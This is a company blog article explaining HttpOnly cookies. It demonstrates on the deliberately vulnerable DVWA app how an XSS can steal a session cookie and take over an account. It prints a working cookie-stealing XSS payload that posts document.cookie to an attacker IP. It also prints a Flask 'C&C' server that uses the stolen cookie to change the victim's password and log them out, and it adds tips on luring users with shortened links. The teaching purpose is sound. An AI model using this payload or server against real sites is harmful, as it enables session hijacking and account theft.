Web applications and HttpOnly cookies - why should you care?

In the previous article, I have talked about a way to limit the impact overlooking an XSS error can have upon our web application. Today I would like to show a short example of what can actually go wrong if we overlook an XSS and commit an error that allows accessing session cookies from JavaScript.

Before I proceed a quick note on naming convention: MDN uses “HTTP-only” name, whereas OWASP calls this mechanism “HttpOnly”, wheres Django docs use “HTTPOnly”, I will stick to the second one for consistency with what is actually sent from a server.

What is HttpOnly?

Quoting MDN:

This feature is a new attribute for cookies which prevents them from being accessed through client-side script. A cookie with this attribute is called an HTTP-only cookie. Any information contained in an HTTP-only cookie is less likely to be disclosed to a hacker or a malicious Web site. The following example is a header that sets an HTTP-only cookie.

Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly

There is an important thing to keep in mind that was mentioned in Django docs:

HTTPOnly is a flag included in a Set-Cookie HTTP response header. It is not part of the RFC 2109 standard for cookies, and it isn’t honored consistently by all browsers.

I have checked browserscope.org to see whether it would help me identify such browsers, but it seems that all do implement it so I guess that all modern browsers should do it. You should, however, verify it on your own if you need to support some “eccentric” users.

OK, but I still do not see why should I care?

I will quickly show you how I am able to exploit an XSS to perform actions in the name of a user. In this example, I will attack a DVWA project website to change the user’s password (all with the author’s permission). The cool part is that due to having access to user’s cookies we will be able to perform the action in their name not knowing their login credentials.

There is a form that allows you to choose, with GET requests, which language a page should be displayed in.

If we inspect code it will become clear that if we close “option” and “select” tags, we can insert additional tags. Because <script> is filtered out, we will use <img> tags. Let’s check what will happen if we enter http://localhost/vulnerabilities/xss_d/?default=English%3C/option%3E%3C/select%3E%3Cimg%20src=%22x%22%20onerror=%22alert(document.cookie)%22/%3E in the address bar.

Great! We have gained access to cookies including PHPSESSID. Let’s keep it in mind. DVWA application has another problem: it does not verify whether a person changing password knows current one (this is also exploitable through CSRF, but we will not use it now). In order to automate the process, I will set up a separate web application that will act as the Command And Control server (further referenced as C&C). This will allow us to perform more advanced actions like setting a different password for each user we target, or collecting some statistics, or making multiple requests and so on.

# !/usr/bin/env python3
import requests from flask import Flask, request, Response
 
application = Flask(__name__)


@application.route('/data-dump/', methods=['POST'])
def data_dump():
with open('/root/services/dvwa/dump.log', 'w+') as f:
  f.write(str(request.data))

data_str = request.data.decode('utf-8')
  cookies_list = data_str.split('; ')
  cookies_dict = {}
  for cookie in cookies_list:
k, v = cookie.split('=')
      cookies_dict[k] = v

response = requests.get(
  url='http://192.168.99.240/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change',
      headers={
'Referer': 'http://192.168.99.240/vulnerabilities/csrf/'
      },
cookies=cookies_dict
)
# logout
requests.get(
url='http://192.168.99.174/logout.php',
headers={
'Referer': 'http://192.168.99.174/vulnerabilities/csrf/'
        },
cookies=cookies_dict
)


# Prevent errors in client's console.
response = Response()
response.headers['Access-Control-Allow-Origin'] = '*'
return response
if __name__ == '__main__':
 application.run(host='0.0.0.0', port=80)

Payload:

http://localhost/vulnerabilities/xss_d/?default=></option></select><img src="" onerror="
var xhr=new XMLHttpRequest;
xhr.open('POST', 'http://192.168.99.244/data-dump/');
xhr.onload = function(){};
xhr.send(document.cookie);">

Let’s break down it a little bit to understand what’s going on. C&C server is listening for HTTP requests, logs data it receives in a file called “dump.log”, and performs a request using a stolen session cookie to set new password credentials (password is changed to “test”). The last step is logging out the user in order to ensure that even if they get suspicious, it’ll be too late for them to do anything. Note that we are very flexible here. If the form was protected with CSRF tokens we could perform a GET request first to obtain the token.

The payload simply sends an XHR POST request to C&C with a session cookie. Unfortunately this leaves the layout broken, which could alarm potential user, so in a real-world scenario we would have to take care of this issue and overwrite page contents in a little bit more subtle way (which is what I’ve done but since it’s trivial and does not have impact upon the core feature, I’ve decided to skip it in order to improve readability). Of course, this makes our URL longer, which could be a problem, but we can use a URL shortener. The last thing would be to convince a user to click this link.

Now that we have all set up, let’s begin the fun part.

First, our users log into the application with default credentials (admin/password).

 

Next, they are attracted to the link we have given them and click it.

It seems that there’s something wrong here. Users want to change the password, but when they click on any link they see that they’ve been logged out and to make things worse, their old password does not work.

They would have to enter new credentials in order to regain access.

In the aftermath of the vulnerabilities, we have taken over the admin account not knowing their password, which took one click and below one second thanks to automating the process. It was possible due to a series of negligences that were found in the application: the XSS, lack of protection against accessing cookies from JavaScript and poorly protected password change form. If the developer had set HttpOnly cookie header, the attack scope would have been much more limited since the C&C wouldn’t be able to perform any action in their name.

What should I do to set it in Django or Flask?

Nothing. It’s there by default for you in Django. When you log into the admin panel for example, you can see this while inspecting server response:

 

When we disable CSP mechanisms from the previous article we will see that session cookie is not accessible via JavaScript:

 

Flask, on the other hand, requires an additional library (Flask-Sessions) to be installed, but it also sets cookies to HttpOnly by default.

Want to rise your backend skills and share your knowledge with others? Join our team, we’re hiring programmers

 

Navigate the changing IT landscape

Some highlighted content that we want to draw attention to to link to our other resources. It usually contains a link .